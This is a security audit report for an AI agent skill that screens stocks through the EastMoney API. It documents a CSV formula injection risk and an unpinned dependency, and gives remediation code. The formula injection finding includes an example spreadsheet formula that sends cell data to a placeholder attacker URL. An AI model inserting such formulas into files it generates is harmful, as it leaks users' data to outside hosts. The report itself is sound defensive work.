Back to skill

Security audit

Mx Stocks Screener

Security checks for vulnerabilities and agentic risk

Overview

This skill coherently performs disclosed market screening through EastMoney, using one API key and writing local result files, with some hardening caveats.

Before installing, confirm you trust the EastMoney service and understand that your query, select type, and EM_API_KEY are sent to its API. Open generated CSV files carefully because remote market data is not formula-sanitized, and do not treat screening results as investment advice.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/get_data.py:314
Finding
Spreadsheet Formula Injection in Generated CSV Files## Vulnerability Details **File Location**: `scripts/get_data.py`, lines 314-318 **Vulnerability Type**: CSV/spreadsheet formula injection **Risk Level**: Medium ### Vulnerable Code ```python with open(csv_path, "w", newline="", encoding="utf-8") as f: writer = csv.DictWriter(f, fieldnames=fieldnames, extrasaction="ignore") writer.writeheader() for row in rows: writer.writerow(row) ``` ### Technical Analysis Values returned by the remote EastMoney API are written directly into a CSV file without neutralizing spreadsheet formula prefixes. Python's `csv.DictWriter` correctly escapes CSV delimiters and quotation marks, but it does not protect against spreadsheet formulas. If a cell begins with `=`, `+`, `-`, or `@`, spreadsheet applications such as Microsoft Excel or LibreOffice Calc may interpret it as a formula rather than plain text. Because the API controls column names and row values, a compromised or malicious upstream response could introduce a formula-bearing value into the generated file. Depending on the spreadsheet application and its security configuration, a malicious formula may trigger external network requests, disclose data from other cells, create misleading hyperlinks, or invoke dangerous legacy functionality. Modern spreadsheet protections can reduce the impact, but they do not remove the underlying unsafe data-generation behavior. ### Attack Path 1. An attacker gains influence over data returned by the configured EastMoney API, such as through compromised upstream data, malicious content incorporated into a result, or compromise of the service. 2. The attacker causes a returned column name or cell value to start with a spreadsheet formula marker, for example: ```text =HYPERLINK("https://attacker.example/collect?data="&A1,"Open") ``` 3. `_datalist_to_rows` converts the value to a string without formula neutralization. 4. `writer.writerow(row)` writes the attac ...[truncated 1093 chars]
Remediation
## Remediation Suggestions Sanitize all remotely supplied column names and cell values before writing them to CSV. Prefix dangerous values with a single quote or another application-appropriate neutralization character. ```python FORMULA_PREFIXES = ("=", "+", "-", "@") def sanitize_csv_cell(value): text = "" if value is None else str(value) if text.startswith(FORMULA_PREFIXES): return "'" + text return text safe_fieldnames = [sanitize_csv_cell(name) for name in fieldnames] with open(csv_path, "w", newline="", encoding="utf-8") as f: writer = csv.DictWriter( f, fieldnames=safe_fieldnames, extrasaction="ignore", ) writer.writeheader() for row in rows: safe_row = { sanitize_csv_cell(key): sanitize_csv_cell(value) for key, value in row.items() } writer.writerow(safe_row) ``` Additional hardening measures: - Apply sanitization after trimming or accounting for leading whitespace, tabs, carriage returns, and other characters that spreadsheet applications may ignore before formula detection. - Treat all remote API output as untrusted, including headers, labels, nested JSON strings, and partial-results table content. - Document that output files contain untrusted market data and should be imported with formula evaluation disabled. - Add tests covering values beginning with `=`, `+`, `-`, `@`, tabs, carriage returns, and leading whitespace. - Consider producing a non-executable format such as JSON in addition to CSV.

T08 · Insecure Dependencies

Note
Location
SKILL.md:10
Finding
Unpinned Third-Party Dependency Allows Unreviewed Package Updates## Vulnerability Details **File Location**: `SKILL.md`, lines 10-16 **Vulnerability Type**: Unpinned third-party dependency **Risk Level**: Low ### Vulnerable Code ```json "install": [ { "id": "pip-deps", "kind": "python", "package": "httpx", "label": "Install Python dependencies" } ] ``` The documentation also instructs installation without a version constraint: ```bash pip3 install httpx --user ``` ### Technical Analysis The skill installs `httpx` without an exact version or integrity hash. Consequently, installation resolves whichever release is current in the configured Python package index at installation time. This makes the dependency graph non-reproducible and allows the code executed during installation or import to differ from what was reviewed. A future compromised, malicious, or incompatible release could therefore affect deployments without any corresponding change to this project. The package name is not a visible typosquat, and the reviewed project does not establish that the current `httpx` package is malicious. The risk arises from unconstrained future dependency resolution rather than an identified malicious package. ### Attack Path 1. An attacker compromises the configured package index, the `httpx` distribution account, or a dependency selected by an unpinned future release. 2. A user or automated skill installer processes the declared package name without a version constraint. 3. The installer downloads the latest available release rather than a previously audited release. 4. Malicious package installation or import-time code executes with the privileges of the user running the installer or skill. 5. The malicious dependency may access the API key, query data, generated files, and other resources available to that user. ### Impact Assessment If the supply-chain precondition is met, malicious dependency code would run with the privileges of the account ...[truncated 494 chars]
Remediation
## Remediation Suggestions Pin the dependency to a reviewed version rather than resolving the latest release: ```json "package": "httpx==<reviewed-version>" ``` Prefer a lock file or requirements file with cryptographic hashes: ```text httpx==<reviewed-version> \ --hash=sha256:<verified-distribution-hash> ``` Install with hash verification: ```bash python3 -m pip install --require-hashes -r requirements.txt ``` Additional hardening measures: - Pin and hash all transitive dependencies through a reproducible lock file. - Review dependency updates before changing the lock file. - Use a trusted or organization-controlled package index. - Run vulnerability and provenance checks in CI. - Install dependencies in an isolated virtual environment under a non-privileged account. - Keep the version declared in skill metadata consistent with the documented installation command.
Vulnerability Patterns
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (4)

Lp3

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding
The skill declares capabilities that access environment variables, perform network requests, and write files, but it does not declare any explicit tool scope such as permissions or allowed-tools. This creates a least-privilege and transparency problem: an agent or user may invoke the skill without clear boundaries on what external effects it can have, increasing the chance of unintended network access, secret use, or file output.

Vague Triggers

Medium
Confidence
84% confidence
Finding
The skill is described as handling broad natural-language stock screening without clear activation boundaries, exclusion conditions, or narrow trigger criteria. Over-broad activation can cause the agent to invoke this skill in loosely related financial conversations, unintentionally sending user prompts to an external service and generating files, which increases privacy, cost, and unintended-action risk.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The module docstring presents the skill purpose entirely in Chinese, and the rest of the user-facing interface follows the same pattern. Under the policy, forcing a specific language without user opt-in is a natural-language policy violation unless the locale restriction is explicitly justified.

Natural-Language Policy Violations

Medium
Confidence
93% confidence
Finding
The argparse description, help text, printed usage, and output messages are all hard-coded in Chinese. This imposes a language choice on users rather than offering localization or stating that the tool is intentionally region-specific.

Static analysis

No suspicious patterns detected.